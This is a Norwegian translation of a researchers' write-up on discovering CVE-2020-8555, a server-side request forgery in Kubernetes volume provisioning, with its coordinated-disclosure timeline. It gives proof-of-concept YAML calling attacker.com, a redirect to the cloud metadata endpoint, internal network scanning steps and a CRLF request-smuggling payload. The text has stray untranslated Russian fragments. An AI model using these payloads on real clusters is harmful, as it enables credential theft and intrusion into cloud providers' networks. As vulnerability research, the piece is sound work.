Når det ikke bare handler om Kubernetes-sårbarheter...

Merk. overs.: Forfatterne av denne artikkelen snakker i detalj om hvordan de klarte å oppdage sårbarheten CVE-2020-8555 i Kubernetes. Selv om det i utgangspunktet ikke virket veldig farlig, i kombinasjon med andre faktorer viste det seg at kritikaliteten var maksimal for noen skyleverandører. Flere organisasjoner belønnet sjenerøst spesialistene for deres arbeid.

Når det ikke bare handler om Kubernetes-sårbarheter...

Hvem er vi

Vi er to franske sikkerhetsforskere som i fellesskap oppdaget en sårbarhet i Kubernetes. Vi heter Brice Augras og Christophe Hauquiert, men på mange Bug Bounty-plattformer er vi kjent som henholdsvis Reeverzax og Hach:

Hva skjedde?

Denne artikkelen er vår måte å dele hvordan et ordinært forskningsprosjekt uventet ble til det mest spennende eventyret i insektjegeres liv (i hvert fall foreløpig).

Som du sikkert vet, har insektjegere et par bemerkelsesverdige funksjoner:

  • de lever av pizza og øl;
  • de jobber når alle andre sover.

Vi er intet unntak fra disse reglene: vi møtes vanligvis i helgene og bruker søvnløse netter på å hacke. Men en av disse nettene endte på en veldig uvanlig måte.

I utgangspunktet skulle vi møtes for å diskutere deltakelse i CTF den neste dagen. Under en samtale om Kubernetes-sikkerhet i et administrert tjenestemiljø, husket vi den gamle ideen om SSRF (Forfalskning av forespørsler på serversiden) og bestemte seg for å prøve å bruke det som et angrepsskript.

Klokken 11 satte vi oss ned for å gjøre research og la oss tidlig om morgenen, veldig fornøyde med resultatene. Det var på grunn av denne forskningen at vi kom over MSRC Bug Bounty-programmet og kom opp med en privilegie-eskaleringsutnyttelse.

Det gikk flere uker/måneder, og vårt uventede resultat resulterte i en av de høyeste belønningene i historien til Azure Cloud Bug Bounty – i tillegg til den vi mottok fra Kubernetes!

Basert på vårt forskningsprosjekt publiserte Kubernetes Product Security Committee CVE-2020-8555.

Nå vil jeg gjerne spre informasjon om den funnet sårbarheten så mye som mulig. Vi håper du setter pris på funnet og deler de tekniske detaljene med andre medlemmer av infosec-fellesskapet!

Så her er historien vår...

Kontekst

For å få mest mulig mening ut av hva som skjedde, la oss først se på hvordan Kubernetes fungerer i et skyadministrert miljø.

Når du instansierer en Kubernetes-klynge i et slikt miljø, er administrasjonslaget vanligvis skyleverandørens ansvar:

Når det ikke bare handler om Kubernetes-sårbarheter...
Kontrolllaget er plassert ved skyleverandørens perimeter, mens Kubernetes-nodene er plassert ved kundens perimeter

For å tildele volumer dynamisk, brukes en mekanisme for å dynamisk klargjøre dem fra en ekstern lagringsbackend og sammenligne dem med PVC (vedvarende volumkrav, dvs. en forespørsel om et volum).

Etter at PVC-en er opprettet og bundet til StorageClass i K8s-klyngen, blir ytterligere handlinger for å gi volumet overtatt av kube-/skykontrolleren (dets eksakte navn avhenger av utgivelsen). (Merk. overs.: Vi har allerede skrevet mer om CCM ved å bruke eksemplet på implementeringen for en av skyleverandørene her.)

Det finnes flere typer provisjonsprogrammer som støttes av Kubernetes: de fleste av dem er inkludert i orkestrator kjerne, mens andre administreres av ekstra provisjonere som er plassert i pods i klyngen.

I vår forskning fokuserte vi på den interne volumforsyningsmekanismen, som er illustrert nedenfor:

Når det ikke bare handler om Kubernetes-sårbarheter...
Dynamisk klargjøring av volumer ved hjelp av den innebygde Kubernetes-klargjøringen

Kort sagt, når Kubernetes er distribuert i et administrert miljø, er kontrolleransvarlig skyleverandørens ansvar, men forespørselen om volumoppretting (nummer 3 i diagrammet ovenfor) forlater skyleverandørens interne nettverk. Og det er her ting blir veldig interessant!

Hackingscenario

I denne delen vil vi forklare hvordan vi utnyttet arbeidsflyten nevnt ovenfor og fikk tilgang til de interne ressursene til skytjenesteleverandøren. Den vil også vise deg hvordan du kan utføre visse handlinger, for eksempel innhenting av intern legitimasjon eller eskalering av privilegier.

En enkel manipulasjon (i dette tilfellet Service Side Request Forgery) bidro til å gå utover klientmiljøet og inn i klynger av forskjellige tjenesteleverandører under administrerte K8-er.

I vår forskning fokuserte vi på GlusterFS-provisjonsprogrammet. Til tross for at den videre sekvensen av handlinger er beskrevet i denne sammenhengen, er Quobyte, StorageOS og ScaleIO utsatt for samme sårbarhet.

Når det ikke bare handler om Kubernetes-sårbarheter...
Misbruk av dynamisk volumforsyningsmekanisme

Under lagringsklasseanalyse GlusterFS i Golang-klientens kildekode vi la merke tildet på den første HTTP-forespørselen (3) sendt under volumoppretting, til slutten av den egendefinerte URL-en i parameteren resturl la til /volumes.

Vi bestemte oss for å bli kvitt denne ekstra banen ved å legge til # i parameter resturl. Her er den første YAML-konfigurasjonen vi brukte til å teste for en halvblind SSRF-sårbarhet (du kan lese mer om halvblind eller halvblind SSRF, for eksempel, her — ca. oversett.):

apiVersion: storage.k8s.io/v1
kind: StorageClass
metadata:
  name: poc-ssrf
provisioner: kubernetes.io/glusterfs
parameters:
  resturl: "http://attacker.com:6666/#"
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: poc-ssrf
spec:
  accessModes:
  - ReadWriteOnce
  volumeMode: Filesystem
  resources:
    requests:
      storage: 8Gi
  storageClassName: poc-ssrf

Deretter brukte vi binæren til å fjernstyre Kubernetes-klyngen kubectl. Vanligvis lar skyleverandører (Azure, Google, AWS, etc.) deg få legitimasjon for bruk i dette verktøyet.

Takket være dette kunne jeg bruke min "spesielle" fil. Kube-controller-manager utførte den resulterende HTTP-forespørselen:

kubectl create -f sc-poc.yaml

Når det ikke bare handler om Kubernetes-sårbarheter...
Svaret fra angriperens synspunkt

Kort tid etter dette kunne vi også motta et HTTP-svar fra målserveren – via kommandoene describe pvc eller get events i kubectl. Og faktisk: denne standard Kubernetes-driveren er for detaljert i advarslene/feilmeldingene...

Her er et eksempel med link til https://www.google.frsatt som parameter resturl:

kubectl describe pvc poc-ssrf
# или же можете воспользоваться kubectl get events

Når det ikke bare handler om Kubernetes-sårbarheter...

I denne tilnærmingen var vi begrenset til spørsmål som HTTP POST og kunne ikke få innholdet i svarlegemet hvis returkoden var 201. Derfor bestemte vi oss for å gjennomføre ytterligere undersøkelser og utvidet dette hackingscenariet med nye tilnærminger.

Utviklingen av vår forskning

  • Avansert scenario #1: Bruke en 302-viderekobling fra en ekstern server for å endre HTTP-metoden for å gi en mer fleksibel måte å samle inn interne data på.
  • Avansert scenario #2: Automatiser LAN-skanning og intern ressursoppdagelse.
  • Avansert scenario #3: bruk av HTTP CRLF + smugling ("request smugling") for å lage skreddersydde HTTP-forespørsler og hente data hentet fra kube-kontroller-logger.

Tekniske spesifikasjoner

  • Forskningen brukte Azure Kubernetes Service (AKS) med Kubernetes versjon 1.12 i Nord-Europa-regionen.
  • Scenariene beskrevet ovenfor ble utført på de siste utgivelsene av Kubernetes, med unntak av det tredje scenariet, fordi han trengte Kubernetes bygget med Golang-versjon ≤ 1.12.
  • Angriperens eksterne server - https://attacker.com.

Avansert scenario #1: Omdirigere en HTTP POST-forespørsel til GET og motta sensitive data

Den opprinnelige metoden ble forbedret av konfigurasjonen av angriperens server for å returnere 302 HTTP Recodefor å konvertere en POST-forespørsel til en GET-forespørsel (trinn 4 i diagrammet):

Når det ikke bare handler om Kubernetes-sårbarheter...

Første forespørsel (3) kommer fra klienten GlusterFS (Controller Manager), har en POST-type. Ved å følge disse trinnene kunne vi gjøre det om til en GET:

  • Som en parameter resturl i StorageClass er det angitt http://attacker.com/redirect.php.
  • Endpoint https://attacker.com/redirect.php svarer med en 302 HTTP-statuskode med følgende stedsoverskrift: http://169.254.169.254. Dette kan være en hvilken som helst annen intern ressurs - i dette tilfellet brukes omdirigeringslenken kun som et eksempel.
  • Som standard net/http-bibliotek Golang omdirigerer forespørselen og konverterer POST til en GET med en 302-statuskode, noe som resulterer i en HTTP GET-forespørsel til målressursen.

For å lese HTTP-svarteksten må du gjøre describe PVC-objekt:

kubectl describe pvc xxx

Her er et eksempel på et HTTP-svar i JSON-format som vi kunne motta:

Når det ikke bare handler om Kubernetes-sårbarheter...

Mulighetene til den funnet sårbarheten på det tidspunktet var begrenset på grunn av følgende punkter:

  • Manglende evne til å sette inn HTTP-hoder i utgående forespørsel.
  • Manglende evne til å utføre en POST-forespørsel med parametere i kroppen (dette er praktisk å be om nøkkelverdien fra en etcd-instans som kjører på 2379 port hvis ukryptert HTTP brukes).
  • Manglende evne til å hente innhold i svarteksten når statuskoden var 200 og svaret ikke hadde en JSON-innholdstype.

Avansert scenario #2: Skanning av det lokale nettverket

Denne halvblinde SSRF-metoden ble deretter brukt til å skanne skyleverandørens interne nettverk og polle ulike lyttetjenester (metadataforekomst, Kubelet, etcd, etc.) basert på svarene kube kontroller.

Når det ikke bare handler om Kubernetes-sårbarheter...

Først ble standard lytteportene til Kubernetes-komponenter bestemt (8443, 10250, 10251, etc.), og deretter måtte vi automatisere skanneprosessen.

Siden vi ser at denne metoden for å skanne ressurser er veldig spesifikk og ikke er kompatibel med klassiske skannere og SSRF-verktøy, bestemte vi oss for å lage våre egne arbeidere i et bash-skript som automatiserer hele prosessen.

For eksempel, for raskt å skanne området 172.16.0.0/12 av det interne nettverket, ble 15 arbeidere lansert parallelt. IP-området ovenfor er valgt kun som et eksempel og kan endres til din spesifikke tjenesteleverandørs IP-område.

For å skanne én IP-adresse og én port, må du gjøre følgende:

  • slette den sist sjekkede StorageClass;
  • fjerne det tidligere bekreftede vedvarende volumkravet;
  • endre IP- og portverdiene sc.yaml;
  • opprette en StorageClass med en ny IP og port;
  • lage en ny PVC;
  • trekke ut skanneresultater ved å bruke beskrive for PVC.

Avansert scenario #3: CRLF-injeksjon + smugling av HTTP i "gamle" versjoner av Kubernetes-klyngen

Hvis leverandøren i tillegg til dette tilbød klienter gamle versjoner av K8s-klyngen и ga dem tilgang til kube-controller-managers logger, ble effekten enda mer betydelig.

Det er faktisk mye mer praktisk for en angriper å endre HTTP-forespørsler designet for å oppnå et fullstendig HTTP-svar etter eget skjønn.

Når det ikke bare handler om Kubernetes-sårbarheter...

For å implementere det siste scenariet, måtte følgende betingelser være oppfylt:

  • Brukeren må ha tilgang til kube-controller-manager-logger (som for eksempel i Azure LogInsights).
  • Kubernetes-klyngen må bruke en versjon av Golang lavere enn 1.12.

Vi distribuerte et lokalt miljø som simulerte kommunikasjon mellom GlusterFS Go-klienten og en falsk målserver (vi vil avstå fra å publisere PoC for nå).

Ble funnet sårbarhet, som påvirker Golang-versjoner lavere enn 1.12 og lar hackere utføre HTTP-smugling/CRLF-angrep.

Ved å kombinere den halvblinde SSRF beskrevet ovenfor вместе med dette kunne vi sende forespørsler etter vår smak, inkludert bytte av overskrifter, HTTP-metode, parametere og data, som kube-controller-manager deretter behandlet.

Her er et eksempel på et fungerende "agn" i en parameter resturl StorageClass, som implementerer et lignende angrepsscenario:

http://172.31.X.1:10255/healthz? HTTP/1.1rnConnection: keep-
alivernHost: 172.31.X.1:10255rnContent-Length: 1rnrn1rnGET /pods? HTTP/1.1rnHost: 172.31.X.1:10255rnrn

Resultatet er en feil uønsket svar, en melding om hvilken er registrert i kontrollerloggene. Takket være detaljnivå aktivert som standard, lagres også innholdet i HTTP-svarmeldingen der.

Når det ikke bare handler om Kubernetes-sårbarheter...

Dette var vårt mest effektive "agn" innenfor rammen av proof of concept.

Ved å bruke denne tilnærmingen var vi i stand til å utføre noen av følgende angrep på klynger av forskjellige administrerte k8s-leverandører: rettighetseskalering med legitimasjon på metadataforekomster, Master DoS via (ukrypterte) HTTP-forespørsler på etcd masterforekomster, etc.

Aftermath

I Kubernetes offisielle uttalelse angående SSRF-sårbarheten vi oppdaget, ble den vurdert CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. Hvis vi kun vurderer sårbarheten knyttet til Kubernetes-omkretsen, er integritetsvektoren (integritetsvektor) det kvalifiserer som none.

Men å vurdere de mulige konsekvensene i sammenheng med et administrert tjenestemiljø (og dette var den mest interessante delen av vår forskning!) fikk oss til å omklassifisere sårbarheten til en vurdering Kritisk CVSS10/10 for mange distributører.

Nedenfor finner du tilleggsinformasjon for å hjelpe deg å forstå våre vurderinger når du vurderer de potensielle konsekvensene i skymiljøer:

integritet

  • Utfør kommandoer eksternt ved å bruke innhentet intern legitimasjon.
  • Reproduser scenariet ovenfor ved å bruke IDOR-metoden (Insecure Direct Object Reference) med andre ressurser som finnes på det lokale nettverket.

konfidensialitet

  • Angrepstype Sidebevegelse takket være tyveri av skylegitimasjon (for eksempel metadata API).
  • Samle informasjon ved å skanne det lokale nettverket (bestemme SSH-versjonen, HTTP-serverversjonen, ...).
  • Samle forekomst- og infrastrukturinformasjon ved å spørre interne APIer som metadata API (http://169.254.169.254, ...).
  • Stjele kundedata ved å bruke skylegitimasjon.

tilgjengelighet

Alle utnyttelsesscenarier relatert til angrepsvektorer på integritet, kan brukes til destruktive handlinger og føre til at masterforekomster fra klientperimeteren (eller andre) ikke er tilgjengelige.

Siden vi var i et administrert K8s-miljø og vurderte innvirkningen på integritet, kan vi forestille oss mange scenarier som kan påvirke tilgjengeligheten. Ytterligere eksempler inkluderer korrupsjon av etcd-databasen eller foreta et kritisk kall til Kubernetes API.

kronologi

  • 6. desember 2019: Sårbarhet rapportert til MSRC Bug Bounty.
  • 3. januar 2020: En tredjepart informerte Kubernetes-utviklere om at vi jobbet med et sikkerhetsproblem. Og ba dem vurdere SSRF som en intern (in-core) sårbarhet. Vi ga deretter en generell rapport med tekniske detaljer om kilden til problemet.
  • 15. januar 2020: Vi leverte tekniske og generelle rapporter til Kubernetes-utviklere på deres forespørsel (via HackerOne-plattformen).
  • 15. januar 2020: Kubernetes-utviklere varslet oss om at halvblind SSRF + CRLF-injeksjon for tidligere utgivelser regnes som en sårbarhet i kjernen. Vi sluttet umiddelbart å analysere omkretsen til andre tjenesteleverandører: K8s-teamet tok seg nå av årsaken.
  • 15. januar 2020: MSRC-belønning mottatt gjennom HackerOne.
  • 16. januar 2020: Kubernetes PSC (Product Security Committee) anerkjente sårbarheten og ba om å holde den hemmelig til midten av mars på grunn av det store antallet potensielle ofre.
  • 11. februar 2020: Google VRP-belønning mottatt.
  • 4. mars 2020: Kubernetes-belønning mottatt gjennom HackerOne.
  • 15. mars 2020: Opprinnelig planlagt offentliggjøring utsatt på grunn av COVID-19-situasjonen.
  • 1. juni 2020: Felleserklæring fra Kubernetes + Microsoft om sårbarheten.

TL; DR

  • Vi drikker øl og spiser pizza :)
  • Vi oppdaget en sårbarhet i kjernen i Kubernetes, selv om vi ikke hadde til hensikt å gjøre det.
  • Vi utførte ytterligere analyser på klynger av forskjellige skyleverandører og var i stand til å øke skaden forårsaket av sårbarheten for å motta ekstra fantastiske bonuser.
  • Du finner mange tekniske detaljer i denne artikkelen. Vi vil gjerne diskutere dem med deg (Twitter: @ReeverZax & @__hach_).
  • Det viste seg at alle slags formaliteter og rapportering tok mye lengre tid enn forventet.

referanser

PS fra oversetter

Les også på bloggen vår:

Kilde: www.habr.com

Legg til en kommentar